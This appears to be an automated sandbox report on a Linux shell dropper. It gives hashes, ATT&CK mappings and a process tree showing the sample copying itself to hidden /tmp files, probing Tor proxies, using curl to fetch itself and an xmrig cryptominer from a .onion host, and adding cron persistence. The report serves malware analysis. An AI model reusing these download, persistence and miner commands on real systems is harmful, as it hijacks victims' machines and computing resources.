555d78938859dc3b4ea2b6f148363b1f8434dd071ab1a8f5dbdb8d21a0ca4337

Analysis

max time kernel
20s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/08/2026, 06:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dropper.sh
Size 4KB
Sample260805-g44vbabn8w
SHA256 555d78938859dc3b4ea2b6f148363b1f8434dd071ab1a8f5dbdb8d21a0ca4337
MD5 a87e51c910aba6862fd14a02e30c108e
SHA1 f9fe19cb21a9e2bee457592c3c1370e1750c8959
SHA512 0b3040f61fb8bd9ad498c7ee7eb82b979db554e0e8d9dde716e795c4e691d8078422bc591a33e00508ea60cb7af0572969d20ff30dd9ce4036fc180bf1034b93
SSDEEP 96:9GFQyF/51AEd+C0Mk0XWNcsNQvEu0vatgZ/tr2kd:kQyx515dR0hHNcsNQvKv9Ld
TLSH
T16F9174F4F83C6A23B48C0558B45C5616EEA7693F56A43C51B087BDAD233E00A71B9336
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
775	chmod
666	chmod

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.cMGNGo	crontab
File opened for modification	/etc/cron.d/sys-update	bash

Checks CPU configuration 1 TTPs 5 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 20 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	crontab

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
679	ip
686	curl
689	curl
690	curl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.0init	cp
File opened for modification	/tmp/.tc	bash

/tmp/dropper.sh
/tmp/dropper.sh
1⤵
PID:651
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:657
- /bin/cp
  cp /tmp/dropper.sh /tmp/.0init
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:662
- /bin/chmod
  chmod +x /tmp/.0init
  2⤵
  - File and Directory Permissions Modification
  PID:666

/usr/bin/setsid
setsid bash /tmp/.0init
1⤵
PID:669

/usr/local/sbin/bash
bash /tmp/.0init
1⤵
PID:669

/usr/local/bin/bash
bash /tmp/.0init
1⤵
PID:669

/usr/sbin/bash
bash /tmp/.0init
1⤵
PID:669

/usr/bin/bash
bash /tmp/.0init
1⤵
PID:669

/sbin/bash
bash /tmp/.0init
1⤵
PID:669

/bin/bash
bash /tmp/.0init
1⤵
- Creates/modifies Cron job
- Writes file to tmp directory
PID:669
- /bin/mkdir
  mkdir -p /tmp/.sysd
  2⤵
  - Reads runtime system information
  PID:675
- /sbin/ip
  ip -4 route get 1
  2⤵
  - System Network Configuration Discovery
  PID:679
- /usr/bin/tr
  tr . -
  2⤵
  PID:681
- /usr/bin/awk
  awk "NR==1{for(i=1;i<=NF;i++)if(\$i==\"src\"){print \$(i+1);exit}}"
  2⤵
  - Reads runtime system information
  PID:680
- /usr/bin/curl
  curl -sk --socks5-hostname 127.0.0.1:9050 --max-time 5 http://check.torproject.org/api/ip
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:686
- /usr/bin/curl
  curl -sk --socks5-hostname 127.0.0.1:9051 --max-time 5 http://check.torproject.org/api/ip
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:689
- /usr/bin/curl
  curl -sk --socks5-hostname 127.0.0.1:9052 --max-time 5 http://check.torproject.org/api/ip
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:690
- /bin/mkdir
  mkdir -p /tmp/.td
  2⤵
  - Reads runtime system information
  PID:691
- /bin/sleep
  sleep 18
  2⤵
  PID:693
- /bin/mkdir
  mkdir -p /var/lib/.cache
  2⤵
  - Reads runtime system information
  PID:771
- /bin/mkdir
  mkdir -p /tmp/.cache
  2⤵
  - Reads runtime system information
  PID:772
- /usr/bin/curl
  curl -sfkL --socks5-hostname 127.0.0.1:19050 --max-time 90 http://eaem5ht2blop6gbefnuonrlxv4thcpgfieznv7mrykeco6bvn7go7uad.onion/dropper.sh -o /tmp/.cache/.init.sh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:773
- /bin/chmod
  chmod +x /tmp/.cache/.init.sh
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  - Reads runtime system information
  PID:777
- /usr/bin/crontab
  crontab -l
  2⤵
  - Reads runtime system information
  PID:778
- /bin/grep
  grep -v "\\.init\\.sh\\|\\.sysd\\|BW_DAEMON\\|bwp_"
  2⤵
  PID:779
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:780
- /bin/uname
  uname -m
  2⤵
  PID:782
- /usr/bin/curl
  curl -sfkL --socks5-hostname 127.0.0.1:19050 --max-time 90 http://eaem5ht2blop6gbefnuonrlxv4thcpgfieznv7mrykeco6bvn7go7uad.onion/xmrig -o /tmp/.cache/xmrig
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:783

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sys-update

Path /etc/cron.d/sys-update
Size 214B
SHA256 29d7cd8c7f2409608367f86a2255eb241d590c0c225237645aa8fd118f5962e0
MD5 ad6d064a9c89177b9e0624aff5598f6c
SHA1 38e3e8271de5214f39d4ee5ea7d7dc2d2c93a439
SHA512 b8d609d2e171f69faa8bef22f306c22e4fdee8839843a3fdb2d93941d36217c64fae3231cd8b628ea3beae1698e4b945aeb17db318d4b81663c842b3a9133758
TLSH
T122D0C9B1B825A823344D46BC520CA1A88557C516096932201CDFBE35925E745FE1EB21
MD5 SHA1 SHA512 TLSH

Submit Download

.0init

Path /tmp/.0init
Size 4KB
SHA256 555d78938859dc3b4ea2b6f148363b1f8434dd071ab1a8f5dbdb8d21a0ca4337
MD5 a87e51c910aba6862fd14a02e30c108e
SHA1 f9fe19cb21a9e2bee457592c3c1370e1750c8959
SHA512 0b3040f61fb8bd9ad498c7ee7eb82b979db554e0e8d9dde716e795c4e691d8078422bc591a33e00508ea60cb7af0572969d20ff30dd9ce4036fc180bf1034b93
SSDEEP 96:9GFQyF/51AEd+C0Mk0XWNcsNQvEu0vatgZ/tr2kd:kQyx515dR0hHNcsNQvKv9Ld
TLSH
T16F9174F4F83C6A23B48C0558B45C5616EEA7693F56A43C51B087BDAD233E00A71B9336
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.tc

Path /tmp/.tc
Size 39B
SHA256 a76518a019573f843db374e8dff6b983e2f39bec7b7eda2cb37bec7f3a3bb331
MD5 700c279cffc3262f6df4b4169c17c30a
SHA1 383d2adcfdd45fd2c0d6531a0c447c3059b6ffdc
SHA512 8b5bfb4c7384d36095de5fb7e7f2537fa996e3bafa391b26ee2ce9528dc38f3847f9aa5a1956120b0fc2f8194e24f1fc942dee850b584ca483ac54901c5b70cc
MD5 SHA1 SHA512

Submit Download

tmp.cMGNGo

Path /var/spool/cron/crontabs/tmp.cMGNGo
Size 471B
SHA256 6120649fadf4bd04e60a737b8df377f67e0872d35ee32c55bb0d3d7d62bc8734
MD5 51163bdd8441efffb14ca77e1c77272b
SHA1 c8b6a6a0b88cda1fa276138f93d3fa5738aab6e5
SHA512 d7106b44990b6d08f31df62b7969c52298e054578b60e611bcc08e0308167d10bd0803af20af02eec614d83efd020b12257d6ce04489754f165578d0dc26efe9
TLSH
T125F027A4BD10A833384D0BAC620D516C8557C526496D37608CCFB838835B749FF1EB31
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads